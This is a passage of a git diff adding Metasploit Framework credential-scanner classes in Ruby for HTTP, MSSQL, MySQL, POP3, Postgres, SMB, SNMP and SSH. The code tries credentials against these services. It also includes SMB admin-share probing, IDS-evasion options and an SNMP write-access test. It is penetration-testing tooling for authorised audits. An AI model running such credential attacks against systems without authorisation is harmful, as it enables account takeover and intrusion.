DEFAULT_PORT = 80 + DEFAULT_SSL_PORT = 443 + LIKELY_PORTS = [ 80, 443, 8000, 8080 ] + LIKELY_SERVICE_NAMES = [ 'http', 'https' ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN + + # @!attribute uri + # @return [String] The path and query string on the server to + # authenticate to. + attr_accessor :uri + + # @!attribute uri + # @return [String] HTTP method, e.g. "GET", "POST" + attr_accessor :method + + validates :uri, presence: true, length: { minimum: 1 } + + validates :method, + presence: true, + length: { minimum: 1 } + + # Attempt a single login with a single credential against the target. + # + # @param credential [Credential] The credential object to attempt to + # login with. + # @return [Result] A Result object indicating success or failure + def attempt_login(credential) + ssl = false if ssl.nil? + + result_opts = { + credential: credential, + status: Metasploit::Model::Login::Status::INCORRECT, + proof: nil, + host: host, + port: port, + protocol: 'tcp' + } + + if ssl + result_opts[:service_name] = 'https' + else + result_opts[:service_name] = 'http' + end + + http_client = Rex::Proto::Http::Client.new( + host, port, {}, ssl, ssl_version, + nil, credential.public, credential.private + ) + if credential.realm + http_client.set_config('domain' => credential.realm) + end + + begin + http_client.connect + request = http_client.request_cgi( + 'uri' => uri, + 'method' => method + ) + + # First try to connect without logging in to make sure this + # resource requires authentication. We use #_send_recv for + # that instead of #send_recv. + response = http_client._send_recv(request) + if response && response.code == 401 && response.headers['WWW-Authenticate'] + # Now send the creds + response = http_client.send_auth( + response, request.opts, connection_timeout, true + ) + if response && response.code == 200 + result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response.headers) + end + else + result_opts.merge!(status: Metasploit::Model::Login::Status::NO_AUTH_REQUIRED) + end + rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error + result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + ensure + http_client.close + end + + Result.new(result_opts) + end + + private + + # This method sets the sane defaults for things + # like timeouts and TCP evasion options + def set_sane_defaults + self.connection_timeout ||= 20 + self.max_send_size = 0 if self.max_send_size.nil? + self.send_delay = 0 if self.send_delay.nil? + self.uri = '/' if self.uri.blank? + self.method = 'GET' if self.method.blank? + + # Note that this doesn't cover the case where ssl is unset and + # port is something other than a default. In that situtation, + # we don't know what the user has in mind so we have to trust + # that they're going to do something sane. + if !(self.ssl) && self.port.nil? + self.port = self.class::DEFAULT_PORT + self.ssl = false + elsif self.ssl && self.port.nil? + self.port = self.class::DEFAULT_SSL_PORT + elsif self.ssl.nil? && self.port == self.class::DEFAULT_PORT + self.ssl = false + elsif self.ssl.nil? && self.port == self.class::DEFAULT_SSL_PORT + self.ssl = true + end + + nil + end + + end + end + end +end diff --git a/lib/metasploit/framework/login_scanner/invalid.rb b/lib/metasploit/framework/login_scanner/invalid.rb new file mode 100644 index 0000000000..73799a0479 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/invalid.rb @@ -0,0 +1,22 @@ +module Metasploit + module Framework + module LoginScanner + + # This class is the generic Exception raised by LoginScanners when + # they fail validation. It rolls up all validation errors into a + # single exception so that all errors can be dealt with at once. + class Invalid < StandardError + + attr_reader :model + + def initialize(model) + @model = model + + errors = @model.errors.full_messages.join(', ') + super(errors) + end + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/mssql.rb b/lib/metasploit/framework/login_scanner/mssql.rb new file mode 100644 index 0000000000..d7b5aa499e --- /dev/null +++ b/lib/metasploit/framework/login_scanner/mssql.rb @@ -0,0 +1,78 @@ +require 'metasploit/framework/mssql/client' +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' +require 'metasploit/framework/login_scanner/ntlm' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with Microsoft SQL Servers. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results + class MSSQL + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::LoginScanner::NTLM + include Metasploit::Framework::MSSQL::Client + + DEFAULT_PORT = 1433 + DEFAULT_REALM = 'WORKSTATION' + # Lifted from lib/msf/core/exploit/mssql.rb + LIKELY_PORTS = [ 1433, 1434, 1435, 14330, 2533, 9152, 2638 ] + # Lifted from lib/msf/core/exploit/mssql.rb + LIKELY_SERVICE_NAMES = [ 'ms-sql-s', 'ms-sql2000', 'sybase' ] + PRIVATE_TYPES = [ :password, :ntlm_hash ] + REALM_KEY = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN + + # @!attribute windows_authentication + # @return [Boolean] Whether to use Windows Authentication instead of SQL Server Auth. + attr_accessor :windows_authentication + + validates :windows_authentication, + inclusion: { in: [true, false] } + + def attempt_login(credential) + result_options = { + credential: credential, + host: host, + port: port, + protocol: 'tcp', + service_name: 'mssql' + } + + begin + if mssql_login(credential.public, credential.private, '', credential.realm) + result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL + else + result_options[:status] = Metasploit::Model::Login::Status::INCORRECT + end + rescue ::Rex::ConnectionError + result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + ::Metasploit::Framework::LoginScanner::Result.new(result_options) + end + + private + + def set_sane_defaults + self.connection_timeout ||= 30 + self.port ||= DEFAULT_PORT + self.max_send_size ||= 0 + self.send_delay ||= 0 + + # Don't use ||= with booleans + self.send_lm = true if self.send_lm.nil? + self.send_ntlm = true if self.send_ntlm.nil? + self.send_spn = true if self.send_spn.nil? + self.use_lmkey = false if self.use_lmkey.nil? + self.use_ntlm2_session = true if self.use_ntlm2_session.nil? + self.use_ntlmv2 = true if self.use_ntlmv2.nil? + self.windows_authentication = false if self.windows_authentication.nil? + end + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/mysql.rb b/lib/metasploit/framework/login_scanner/mysql.rb new file mode 100644 index 0000000000..6d915d48fe --- /dev/null +++ b/lib/metasploit/framework/login_scanner/mysql.rb @@ -0,0 +1,95 @@ +require 'metasploit/framework/tcp/client' +require 'rbmysql' +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with MySQL Database servers. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results. + class MySQL + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::Tcp::Client + + DEFAULT_PORT = 3306 + LIKELY_PORTS = [ 3306 ] + LIKELY_SERVICE_NAMES = [ 'mysql' ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = nil + + def attempt_login(credential) + result_options = { + credential: credential, + host: host, + port: port, + protocol: 'tcp', + service_name: 'mysql' + } + + # manage our behind the scenes socket. Close any existing one and open a new one + disconnect if self.sock + connect + + begin + ::RbMysql.connect({ + :host => host, + :port => port, + :read_timeout => 300, + :write_timeout => 300, + :socket => sock, + :user => credential.public, + :password => credential.private, + :db => '' + }) + rescue Errno::ECONNREFUSED + result_options.merge!({ + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, + proof: "Connection refused" + }) + rescue RbMysql::ClientError + result_options.merge!({ + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, + proof: "Connection timeout" + }) + rescue Errno::ETIMEDOUT + result_options.merge!({ + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, + proof: "Operation Timed out" + }) + rescue RbMysql::HostNotPrivileged + result_options.merge!({ + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, + proof: "Unable to login from this host due to policy" + }) + rescue RbMysql::AccessDeniedError + result_options.merge!({ + status: Metasploit::Model::Login::Status::INCORRECT, + proof: "Access Denied" + }) + end + + unless result_options[:status] + result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL + end + + ::Metasploit::Framework::LoginScanner::Result.new(result_options) + end + + # This method sets the sane defaults for things + # like timeouts and TCP evasion options + def set_sane_defaults + self.connection_timeout ||= 30 + self.port ||= DEFAULT_PORT + self.max_send_size ||= 0 + self.send_delay ||= 0 + end + + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/ntlm.rb b/lib/metasploit/framework/login_scanner/ntlm.rb new file mode 100644 index 0000000000..73cdfef6dc --- /dev/null +++ b/lib/metasploit/framework/login_scanner/ntlm.rb @@ -0,0 +1,61 @@ +require 'metasploit/framework/login_scanner' + +module Metasploit + module Framework + module LoginScanner + + # This Concern provides the basic accessors and validations + # for protocols that require the use of NTLM for Authentication. + module NTLM + extend ActiveSupport::Concern + include ActiveModel::Validations + + included do + # @!attribute send_lm + # @return [Boolean] Whether to always send the LANMAN response(except if using NTLM2 Session) + attr_accessor :send_lm + + # @!attribute send_ntlm + # @return [Boolean] Whether to use NTLM responses + attr_accessor :send_ntlm + + # @!attribute send_spn + # @return [Boolean] Whether to support SPN for newer Windows OSes + attr_accessor :send_spn + + # @!attribute use_lmkey + # @return [Boolean] Whether to negotiate with a LANMAN key + attr_accessor :use_lmkey + + # @!attribute send_lm + # @return [Boolean] Whether to force the use of NTLM2 session + attr_accessor :use_ntlm2_session + + # @!attribute send_lm + # @return [Boolean] Whether to force the use of NTLMv2 instead of NTLM2 Session + attr_accessor :use_ntlmv2 + + validates :send_lm, + inclusion: { in: [true, false] } + + validates :send_ntlm, + inclusion: { in: [true, false] } + + validates :send_spn, + inclusion: { in: [true, false] } + + validates :use_lmkey, + inclusion: { in: [true, false] } + + validates :use_ntlm2_session, + inclusion: { in: [true, false] } + + validates :use_ntlmv2, + inclusion: { in: [true, false] } + end + + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/pop3.rb b/lib/metasploit/framework/login_scanner/pop3.rb new file mode 100644 index 0000000000..0cc1681175 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/pop3.rb @@ -0,0 +1,91 @@ +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' +require 'metasploit/framework/tcp/client' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with POP3. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results. + class POP3 + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::Tcp::Client + + DEFAULT_PORT = 110 + LIKELY_PORTS = [ 110, 995 ] + LIKELY_SERVICE_NAMES = [ 'pop3', 'pop3s' ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = nil + + # This method attempts a single login with a single credential against the target + # @param credential [Credential] The credential object to attempt to login with + # @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object + def attempt_login(credential) + result_options = { + credential: credential, + status: Metasploit::Model::Login::Status::INCORRECT, + host: host, + port: port, + protocol: 'tcp', + service_name: 'pop3' + } + + disconnect if self.sock + + begin + connect + select([sock],nil,nil,0.4) + + # Check to see if we recieved an OK? + result_options[:proof] = sock.get_once + if result_options[:proof] && result_options[:proof][/^\+OK.*/] + # If we received an OK we should send the USER + sock.put("USER #{credential.public}\r\n") + result_options[:proof] = sock.get_once + + if result_options[:proof] && result_options[:proof][/^\+OK.*/] + # If we got an OK after the username we can send the PASS + sock.put("PASS #{credential.private}\r\n") + # Dovecot has a failed-auth penalty system that maxes at + # sleeping for 15 seconds before sending responses to the + # PASS command, so bump the timeout to 16. + result_options[:proof] = sock.get_once(-1, 16) + + if result_options[:proof] && result_options[:proof][/^\+OK.*/] + # if the pass gives an OK, were good to go + result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL + end + end + end + + rescue Rex::ConnectionError, EOFError, Timeout::Error, Errno::EPIPE => e + result_options.merge!( + proof: e.message, + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + ) + end + + disconnect if self.sock + + Result.new(result_options) + end + + private + + # (see Base#set_sane_defaults) + def set_sane_defaults + self.connection_timeout ||= 30 + self.port ||= DEFAULT_PORT + self.max_send_size ||= 0 + self.send_delay ||= 0 + end + + end + + end + end +end + diff --git a/lib/metasploit/framework/login_scanner/postgres.rb b/lib/metasploit/framework/login_scanner/postgres.rb new file mode 100644 index 0000000000..0ecfc06e1f --- /dev/null +++ b/lib/metasploit/framework/login_scanner/postgres.rb @@ -0,0 +1,83 @@ +require 'metasploit/framework/login_scanner/base' +require 'postgres_msf' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with PostgreSQL database servers. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results. + class Postgres + include Metasploit::Framework::LoginScanner::Base + + DEFAULT_PORT = 5432 + DEFAULT_REALM = 'template1' + LIKELY_PORTS = [ DEFAULT_PORT ] + LIKELY_SERVICE_NAMES = [ 'postgres' ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = Metasploit::Model::Realm::Key::POSTGRESQL_DATABASE + + # This method attempts a single login with a single credential against the target + # @param credential [Credential] The credential object to attmpt to login with + # @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object + def attempt_login(credential) + result_options = { + credential: credential, + host: host, + port: port, + protocol: 'tcp', + service_name: 'postgres' + } + + db_name = credential.realm || 'template1' + + if ::Rex::Socket.is_ipv6?(host) + uri = "tcp://[#{host}]:#{port}" + else + uri = "tcp://#{host}:#{port}" + end + + pg_conn = nil + + begin + pg_conn = Msf::Db::PostgresPR::Connection.new(db_name,credential.public,credential.private,uri) + rescue RuntimeError => e + case e.to_s.split("\t")[1] + when "C3D000" + result_options.merge!({ + status: Metasploit::Model::Login::Status::INCORRECT, + proof: "C3D000, Creds were good but database was bad" + }) + when "C28000", "C28P01" + result_options.merge!({ + status: Metasploit::Model::Login::Status::INCORRECT, + proof: "Invalid username or password" + }) + else + result_options.merge!({ + status: Metasploit::Model::Login::Status::INCORRECT, + proof: e.message + }) + end + end + + if pg_conn + pg_conn.close + result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL + else + result_options[:status] = Metasploit::Model::Login::Status::INCORRECT + end + + ::Metasploit::Framework::LoginScanner::Result.new(result_options) + end + end + + def set_sane_defaults + self.connection_timeout ||= 30 + self.port ||= DEFAULT_PORT + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/result.rb b/lib/metasploit/framework/login_scanner/result.rb new file mode 100644 index 0000000000..f537f65eeb --- /dev/null +++ b/lib/metasploit/framework/login_scanner/result.rb @@ -0,0 +1,81 @@ +module Metasploit + module Framework + module LoginScanner + + # The Result class provides a standard structure in which + # LoginScanners can return the result of a login attempt + + class Result + include ActiveModel::Validations + + # @!attribute access_level + # @return [String] the access level gained + attr_accessor :access_level + # @!attribute credential + # @return [Credential] the Credential object the result is for + attr_accessor :credential + # @!attribute host + # @return [String] the addess of the target host for this result + attr_accessor :host + # @!attribute port + # @return [Fixnum] the port number of the service for this result + attr_accessor :port + # @!attribute proof + # @return [String,nil] the proof that the login was successful + attr_accessor :proof + # @!attribute protocol + # @return [String] the transport protocol used for this result (tcp/udp) + attr_accessor :protocol + # @!attribute service_name + # @return [String] the name to give the service for this result + attr_accessor :service_name + # @!attribute status + # @return [String] the status of the attempt. Should be a member of `Metasploit::Model::Login::Status::ALL` + attr_accessor :status + + validates :status, + inclusion: { + in: Metasploit::Model::Login::Status::ALL + } + + # @param attributes [Hash{Symbol => String,nil}] + def initialize(attributes={}) + attributes.each do |attribute, value| + public_send("#{attribute}=", value) + end + end + + def inspect + "#<#{self.class} #{credential.public}:#{credential.private}@#{credential.realm} #{status} >" + end + + def success? + status == Metasploit::Model::Login::Status::SUCCESSFUL + end + + # This method takes all the data inside the Result object + # and spits out a hash compatible with #create_credential + # and #create_credential_login. + # + # @return [Hash] the hash to use with #create_credential and #create_credential_login + def to_h + result_hash = credential.to_h + result_hash.merge!( + access_level: access_level, + address: host, + last_attempted_at: DateTime.now, + origin_type: :service, + port: port, + proof: proof, + protocol: protocol, + service_name: service_name, + status: status + ) + result_hash.delete_if { |k,v| v.nil? } + end + + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/rex_socket.rb b/lib/metasploit/framework/login_scanner/rex_socket.rb new file mode 100644 index 0000000000..da92873a02 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/rex_socket.rb @@ -0,0 +1,64 @@ +require 'metasploit/framework/login_scanner' + +module Metasploit + module Framework + module LoginScanner + + # This module provides the common mixin behaviour for + # LoginScanner objects that rely on Rex Sockets for their + # underlying communication. + module RexSocket + extend ActiveSupport::Concern + + included do + + # @!attribute max_send_size + # @return [Fixnum] The max size of the data to encapsulate in a single packet + attr_accessor :max_send_size + # @!attribute send_delay + # @return [Fixnum] The delay between sending packets + attr_accessor :send_delay + # @!attribute ssl + # @return [Boolean] Whether the socket should use ssl + attr_accessor :ssl + # @!attribute ssl_version + # @return [String] The version of SSL to implement + attr_accessor :ssl_version + + validates :max_send_size, + presence: true, + numericality: { + only_integer: true, + greater_than_or_equal_to: 0 + } + + validates :send_delay, + presence: true, + numericality: { + only_integer: true, + greater_than_or_equal_to: 0 + } + + + private + + def chost + '0.0.0.0' + end + + def cport + 0 + end + + def rhost + host + end + + def rport + port + end + end + end + end + end +end diff --git a/lib/metasploit/framework/login_scanner/smb.rb b/lib/metasploit/framework/login_scanner/smb.rb new file mode 100644 index 0000000000..43a05955aa --- /dev/null +++ b/lib/metasploit/framework/login_scanner/smb.rb @@ -0,0 +1,270 @@ +require 'rex/proto/smb' +require 'metasploit/framework' +require 'metasploit/framework/tcp/client' +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' +require 'metasploit/framework/login_scanner/ntlm' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with the Server Messaging + # Block protocol. + class SMB + include Metasploit::Framework::Tcp::Client + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::LoginScanner::NTLM + + # Constants to be used in {Result#access_level} + module AccessLevels + # Administrative access. For SMB, this is defined as being + # able to successfully Tree Connect to the `ADMIN$` share. + # This definition is not without its problems, but suffices to + # conclude that such a user will most likely be able to use + # psexec. + ADMINISTRATOR = "Administrator" + # Guest access means our creds were accepted but the logon + # session is not associated with a real user account. + GUEST = "Guest" + end + + CAN_GET_SESSION = true + DEFAULT_REALM = 'WORKSTATION' + LIKELY_PORTS = [ 139, 445 ] + LIKELY_SERVICE_NAMES = [ "smb" ] + PRIVATE_TYPES = [ :password, :ntlm_hash ] + REALM_KEY = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN + + module StatusCodes + CORRECT_CREDENTIAL_STATUS_CODES = [ + "STATUS_ACCOUNT_DISABLED", + "STATUS_ACCOUNT_EXPIRED", + "STATUS_ACCOUNT_RESTRICTION", + "STATUS_INVALID_LOGON_HOURS", + "STATUS_INVALID_WORKSTATION", + "STATUS_LOGON_TYPE_NOT_GRANTED", + "STATUS_PASSWORD_EXPIRED", + "STATUS_PASSWORD_MUST_CHANGE", + ].freeze.map(&:freeze) + end + + + # @!attribute simple + # @return [Rex::Proto::SMB::SimpleClient] + attr_accessor :simple + + attr_accessor :smb_chunk_size + attr_accessor :smb_name + attr_accessor :smb_native_lm + attr_accessor :smb_native_os + attr_accessor :smb_obscure_trans_pipe_level + attr_accessor :smb_pad_data_level + attr_accessor :smb_pad_file_level + attr_accessor :smb_pipe_evasion + + # UNUSED + #attr_accessor :smb_pipe_read_max_size + #attr_accessor :smb_pipe_read_min_size + #attr_accessor :smb_pipe_write_max_size + #attr_accessor :smb_pipe_write_min_size + attr_accessor :smb_verify_signature + + attr_accessor :smb_direct + + validates :smb_chunk_size, + numericality: + { + only_integer: true, + greater_than_or_equal_to: 0 + } + + validates :smb_obscure_trans_pipe_level, + inclusion: + { + in: Rex::Proto::SMB::Evasions::EVASION_NONE .. Rex::Proto::SMB::Evasions::EVASION_MAX + } + + validates :smb_pad_data_level, + inclusion: + { + in: Rex::Proto::SMB::Evasions::EVASION_NONE .. Rex::Proto::SMB::Evasions::EVASION_MAX + } + + validates :smb_pad_file_level, + inclusion: + { + in: Rex::Proto::SMB::Evasions::EVASION_NONE .. Rex::Proto::SMB::Evasions::EVASION_MAX + } + + validates :smb_pipe_evasion, + inclusion: { in: [true, false, nil] }, + allow_nil: true + + # UNUSED + #validates :smb_pipe_read_max_size, numericality: { only_integer: true } + #validates :smb_pipe_read_min_size, numericality: { only_integer: true, greater_than_or_equal_to: 0 } + #validates :smb_pipe_write_max_size, numericality: { only_integer: true } + #validates :smb_pipe_write_min_size, numericality: { only_integer: true, greater_than_or_equal_to: 0 } + + validates :smb_verify_signature, + inclusion: { in: [true, false, nil] }, + allow_nil: true + + + # If login is successul and {Result#access_level} is not set + # then arbitrary credentials are accepted. If it is set to + # Guest, then arbitrary credentials are accepted, but given + # Guest permissions. + # + # @param domain [String] Domain to authenticate against. Use an + # empty string for local accounts. + # @return [Result] + def attempt_bogus_login(domain) + if defined?(@result_for_bogus) + return @result_for_bogus + end + cred = Credential.new( + public: Rex::Text.rand_text_alpha(8), + private: Rex::Text.rand_text_alpha(8), + realm: domain + ) + @result_for_bogus = attempt_login(cred) + end + + + # (see Base#attempt_login) + def attempt_login(credential) + + # Disable direct SMB when SMBDirect has not been set and the + # destination port is configured as 139 + if self.smb_direct.nil? + self.smb_direct = case self.port + when 139 then false + when 445 then true + end + end + + begin + connect + rescue ::Rex::ConnectionError => e + return Result.new(credential:credential, status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e) + end + proof = nil + + begin + # TODO: OMG + simple.login( + smb_name, + credential.public, + credential.private, + credential.realm || "", + smb_verify_signature, + use_ntlmv2, + use_ntlm2_session, + send_lm, + use_lmkey, + send_ntlm, + smb_native_os, + smb_native_lm, + { + use_spn: send_spn, + name: host + } + ) + + # Windows SMB will return an error code during Session + # Setup, but nix Samba requires a Tree Connect. Try admin$ + # first, since that will tell us if this user has local + # admin access. Fall back to IPC$ which should be accessible + # to any user with valid creds. + begin + simple.connect("\\\\#{host}\\admin$") + access_level = AccessLevels::ADMINISTRATOR + simple.disconnect("\\\\#{host}\\admin$") + rescue ::Rex::Proto::SMB::Exceptions::ErrorCode + simple.connect("\\\\#{host}\\IPC$") + end + + # If we made it this far without raising, we have a valid + # login + status = Metasploit::Model::Login::Status::SUCCESSFUL + rescue ::Rex::Proto::SMB::Exceptions::LoginError => e + status = case e.get_error(e.error_code) + when *StatusCodes::CORRECT_CREDENTIAL_STATUS_CODES + Metasploit::Model::Login::Status::DENIED_ACCESS + when 'STATUS_LOGON_FAILURE', 'STATUS_ACCESS_DENIED' + Metasploit::Model::Login::Status::INCORRECT + else + Metasploit::Model::Login::Status::INCORRECT + end + + proof = e + rescue ::Rex::Proto::SMB::Exceptions::Error => e + status = Metasploit::Model::Login::Status::INCORRECT + proof = e + rescue ::Rex::ConnectionError + status = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + if status == Metasploit::Model::Login::Status::SUCCESSFUL && simple.client.auth_user.nil? + access_level ||= AccessLevels::GUEST + end + + result = Result.new(credential: credential, status: status, proof: proof, access_level: access_level) + result.host = host + result.port = port + result.protocol = 'tcp' + result.service_name = 'smb' + result + end + + def connect + disconnect + self.sock = super + + c = Rex::Proto::SMB::SimpleClient.new(sock, smb_direct) + + c.client.evasion_opts['pad_data'] = smb_pad_data_level + c.client.evasion_opts['pad_file'] = smb_pad_file_level + c.client.evasion_opts['obscure_trans_pipe'] = smb_obscure_trans_pipe_level + + self.simple = c + c + end + + def set_sane_defaults + self.connection_timeout = 10 if self.connection_timeout.nil? + self.max_send_size = 0 if self.max_send_size.nil? + self.send_delay = 0 if self.send_delay.nil? + self.send_lm = true if self.send_lm.nil? + self.send_ntlm = true if self.send_ntlm.nil? + self.send_spn = true if self.send_spn.nil? + self.smb_chunk_size = 0 if self.smb_chunk_size.nil? + self.smb_name = "*SMBSERVER" if self.smb_name.nil? + self.smb_native_lm = "Windows 2000 5.0" if self.smb_native_os.nil? + self.smb_native_os = "Windows 2000 2195" if self.smb_native_os.nil? + self.smb_obscure_trans_pipe_level = 0 if self.smb_obscure_trans_pipe_level.nil? + self.smb_pad_data_level = 0 if self.smb_pad_data_level.nil? + self.smb_pad_file_level = 0 if self.smb_pad_file_level.nil? + self.smb_pipe_evasion = false if self.smb_pipe_evasion.nil? + #self.smb_pipe_read_max_size = 1024 if self.smb_pipe_read_max_size.nil? + #self.smb_pipe_read_min_size = 0 if self.smb_pipe_read_min_size.nil? + #self.smb_pipe_write_max_size = 1024 if self.smb_pipe_write_max_size.nil? + #self.smb_pipe_write_min_size = 0 if self.smb_pipe_write_min_size.nil? + self.smb_verify_signature = false if self.smb_verify_signature.nil? + + self.use_lmkey = true if self.use_lmkey.nil? + self.use_ntlm2_session = true if self.use_ntlm2_session.nil? + self.use_ntlmv2 = true if self.use_ntlmv2.nil? + + self.smb_name = self.host if self.smb_name.nil? + + end + + end + end + end +end + diff --git a/lib/metasploit/framework/login_scanner/snmp.rb b/lib/metasploit/framework/login_scanner/snmp.rb new file mode 100644 index 0000000000..d2fd0d313a --- /dev/null +++ b/lib/metasploit/framework/login_scanner/snmp.rb @@ -0,0 +1,110 @@ +require 'snmp' +require 'metasploit/framework/login_scanner/base' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with SNMP. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results. + class SNMP + include Metasploit::Framework::LoginScanner::Base + + DEFAULT_PORT = 161 + LIKELY_PORTS = [ 161, 162 ] + LIKELY_SERVICE_NAMES = [ 'snmp' ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = nil + + # This method attempts a single login with a single credential against the target + # @param credential [Credential] The credential object to attmpt to login with + # @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object + def attempt_login(credential) + result_options = { + credential: credential, + host: host, + port: port, + protocol: 'udp', + service_name: 'snmp' + } + + [:SNMPv1, :SNMPv2c].each do |version| + snmp_client = ::SNMP::Manager.new( + :Host => host, + :Port => port, + :Community => credential.public, + :Version => version, + :Timeout => connection_timeout, + :Retries => 2, + :Transport => ::SNMP::RexUDPTransport, + :Socket => ::Rex::Socket::Udp.create + ) + + result_options[:proof] = test_read_access(snmp_client) + if result_options[:proof].nil? + result_options[:status] = Metasploit::Model::Login::Status::INCORRECT + else + result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL + if has_write_access?(snmp_client, result_options[:proof]) + result_options[:access_level] = "read-write" + else + result_options[:access_level] = "read-only" + end + end + end + + ::Metasploit::Framework::LoginScanner::Result.new(result_options) + end + + private + + # This method takes an snmp client and tests whether + # it has write access to the remote system. It sets the + # the sysDescr oid to the same value we already read. + # @param snmp_client [SNMP::Manager] The SNMP client to use + # @param value [String] the value to set sysDescr back to + # @return [Boolean] Returns true or false for if we have write access + def has_write_access?(snmp_client, value) + var_bind = ::SNMP::VarBind.new("1.3.6.1.2.1.1.1.0", ::SNMP::OctetString.new(value)) + begin + resp = snmp_client.set(var_bind) + if resp.error_status == :noError + return true + end + rescue RuntimeError + return false + end + + end + + # Sets the connection timeout approrpiately for SNMP + # if the user did not set it. + def set_sane_defaults + self.connection_timeout = 2 if self.connection_timeout.nil? + self.port = DEFAULT_PORT if self.port.nil? + end + + # This method takes an snmp client and tests whether + # it has read access to the remote system. It checks + # the sysDescr oid to use as proof + # @param snmp_client [SNMP::Manager] The SNMP client to use + # @return [String, nil] Returns a string if successful, nil if failed + def test_read_access(snmp_client) + proof = nil + begin + resp = snmp_client.get("sysDescr.0") + resp.each_varbind { |var| proof = var.value } + rescue RuntimeError + proof = nil + end + proof + end + + + + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/ssh.rb b/lib/metasploit/framework/login_scanner/ssh.rb new file mode 100644 index 0000000000..3cd967cc07 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/ssh.rb @@ -0,0 +1,139 @@ +require 'net/ssh' +require 'metasploit/framework/login_scanner/base' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with the Secure Shell protocol. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results. + # + class SSH + include Metasploit::Framework::LoginScanner::Base + + # + # CONSTANTS + # + + CAN_GET_SESSION = true + DEFAULT_PORT = 22 + LIKELY_PORTS = [ DEFAULT_PORT ] + LIKELY_SERVICE_NAMES = [ 'ssh' ] + PRIVATE_TYPES = [ :password, :ssh_key ] + REALM_KEY = nil + + VERBOSITIES = [ + :debug, + :info, + :warn, + :error, + :fatal + ] + # @!attribute ssh_socket + # @return [Net::SSH::Connection::Session] The current SSH connection + attr_accessor :ssh_socket + # @!attribute verbosity + # The verbosity level for the SSH client. + # + # @return [Symbol] An element of {VERBOSITIES}. + attr_accessor :verbosity + + validates :verbosity, + presence: true, + inclusion: { in: VERBOSITIES } + + # (see {Base#attempt_login}) + # @note The caller *must* close {#ssh_socket} + def attempt_login(credential) + self.ssh_socket = nil + opt_hash = { + :port => port, + :disable_agent => true, + :config => false, + :verbose => verbosity, + :proxies => proxies + } + case credential.private_type + when :password, nil + opt_hash.update( + :auth_methods => ['password','keyboard-interactive'], + :password => credential.private, + ) + when :ssh_key + opt_hash.update( + :auth_methods => ['publickey'], + :key_data => credential.private, + ) + end + + result_options = { + credential: credential + } + begin + ::Timeout.timeout(connection_timeout) do + self.ssh_socket = Net::SSH.start( + host, + credential.public, + opt_hash + ) + end + rescue ::EOFError, Net::SSH::Disconnect, Rex::AddressInUse, Rex::ConnectionError, ::Timeout::Error + result_options.merge!( proof: nil, status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + rescue Net::SSH::Exception + result_options.merge!( proof: nil, status: Metasploit::Model::Login::Status::INCORRECT) + end + + unless result_options.has_key? :status + if ssh_socket + proof = 